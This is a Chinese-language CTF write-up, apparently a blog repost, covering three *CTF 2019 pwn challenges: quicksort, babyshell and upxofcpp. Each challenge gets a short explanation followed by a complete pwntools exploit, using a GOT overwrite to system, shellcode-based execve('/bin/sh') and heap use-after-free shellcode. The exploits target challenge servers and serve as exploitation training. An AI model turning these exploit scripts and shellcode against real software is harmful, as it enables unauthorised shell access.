标签:time imp system函数 env 脱壳 input 需要 search shell
这次参加比赛总共出了三道,有两道队友都先交了,还是tcl,heap_master卡了差不多一天没解决。。。。还是记录一下出的题目吧
quicksort
题目大体流程就是输入要输入的数字数量,然后输入数字,经过一个快速排序输出,然后结束。
漏洞:
gets函数这里存在栈溢出,可以覆盖i,j,ptr,num。
利用思路:
libc泄露:可以修改ptr指向gets_got,并将i和num设置为1,1。这样可以修改free_got的值同时下面会输出gets的地址来泄露libc
步骤:
1.修改free_got为0x8048816同时泄露libc地址
2.修改free_got为system函数并在bss上面构造/bin/sh,把ptr设置为/bin/sh的地址
3.调用free时getshell
exp:
from pwn import * #p = process(‘./quicksort‘,env={‘LD_PRELOAD‘:‘./libc.so.6‘}) p = remote(‘34.92.96.238‘,10000) #gdb.attach(p) context.log_level=‘debug‘ #libc = ELF(‘/lib/i386-linux-gnu/libc.so.6‘) libc = ELF(‘./libc.so.6‘) free_got = 0x804a018 main_addr = 0x8048816 bss_addr = 0x804a03c p.recvuntil(‘sort?‘) p.sendline(‘3‘) p.recvuntil(‘number:‘) payload=str(main_addr)+‘a‘*0x7+p32(1)+p32(1)+p32(0)+p32(free_got-0x4) p.sendline(payload) p.recvuntil(‘result:‘) p.recvline() gets_addr = int(p.recvline().replace(‘\n‘,‘‘))+2**32 print "gets_addr:",hex(gets_addr) libc.address = gets_addr-libc.symbols[‘gets‘] system_addr = libc.symbols[‘system‘] one_gadget = libc.address+0x3ac62 bin_sh_addr = libc.search(‘/bin/sh\x00‘).next() p.recvuntil(‘sort?‘) p.sendline(‘1‘) p.recvuntil(‘number:‘) payload=str(system_addr-2**32).ljust(16,‘a‘)+p32(3)+p32(1)+p32(0)+p32(free_got-0x4) p.sendline(payload) p.recvuntil(‘number:‘) payload=str(6845231).ljust(16,‘a‘)+p32(2)+p32(0)+p32(0)+p32(bss_addr+0x4) p.sendline(payload) p.recvuntil(‘number:‘) payload=str(1852400175).ljust(16,‘a‘)+p32(1)+p32(0)+p32(0)+p32(bss_addr) p.sendline(payload) p.recvuntil(‘result:‘) p.interactive()
babyshell
这题由于偷懒第二天起太晚了。做完已经被提交了
输入shellcode然后会执行,要求是shellcode只能是一个数组里的值。
这题syscall可以调用,rsi本身就是buf地址,所以只需要把rdi改成0,rdx改成length,就可以调用read写buf了,刚好可写的里面有pop rdi,pop rdx
exp:
from pwn import * import time #p = process(‘./shellcode‘) #gdb.attach(p) p = remote(‘34.92.37.22‘,10002) p.recvuntil(‘plz:‘) payload = ‘‘‘ push 0x0 pop rdi push 0x73 pop rdx syscall ‘‘‘ p.send(asm(payload,arch=‘amd64‘)) payload2 = ‘‘‘ mov rax,0x68732f6e69622f push rax push rsp pop rdi mov rsi,0 mov rdx,0 mov rax,0x3b syscall ‘‘‘ time.sleep(10) p.send((‘\x90‘*8+asm(payload2,arch=‘amd64‘))) p.interactive() #raw_input()
upxofcpp
一个upx加壳后的程序,脱壳后分析:
free存在uaf漏洞,而且free和show函数都存在一个特定地址函数调用
这题一直没想出来,直到队里大佬说加壳的程序中堆是rwx的。
所以这题就很简单了,步骤为:
1.构造堆块让使用show函数的时候调用一个堆地址
2.在该堆地址上面构造shellcode
3.运行shellcode拿到shell
exp:
from pwn import * #p = process(‘./upxofcpp‘) p = remote(‘34.92.121.149‘,10000) context.log_level=‘debug‘ def add(index,size,content): p.recvuntil(‘choice:‘) p.sendline(‘1‘) p.recvuntil(‘Index:‘) p.sendline(str(index)) p.recvuntil(‘Size:‘) p.sendline(str(size)) p.recvuntil(‘stop:‘) p.sendline(content) def delete(index): p.recvuntil(‘choice:‘) p.sendline(‘2‘) p.recvuntil(‘index:‘) p.sendline(str(index)) def show(index): p.recvuntil(‘choice:‘) p.sendline(‘4‘) p.recvuntil(‘index:‘) p.sendline(str(index)) payload = ‘‘‘ mov rax,0x68732f6e69622f push rax push rsp pop rdi mov rsi,0 mov rdx,0 mov rax,0x3b syscall ‘‘‘ print len(asm(payload,arch=‘amd64‘)) payload = asm(payload,arch=‘amd64‘) #print len(payload) result =‘‘ i = 0 while i<35: result+=str(struct.unpack(‘<i‘,payload[i:i+4])[0])+‘ ‘ i+=4 result+=‘-1‘ print result add(0,0x22,‘-1‘) add(1,0x12,‘1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2095775979 -1‘) add(2,0x8,‘-1‘) #add(1,0x8,‘1 2 1156288656 -1‘) add(3,0x50,result) #add(4,0x22,‘-1‘) #add(3,0x22,‘-1‘) delete(2) delete(1) delete(0) #gdb.attach(p) #delete(3) show(0) p.interactive()
*CTF 2019 quicksort、babyshell、upxofcpp
标签:time imp system函数 env 脱壳 input 需要 search shell
原文地址:https://www.cnblogs.com/lllkh/p/10789575.html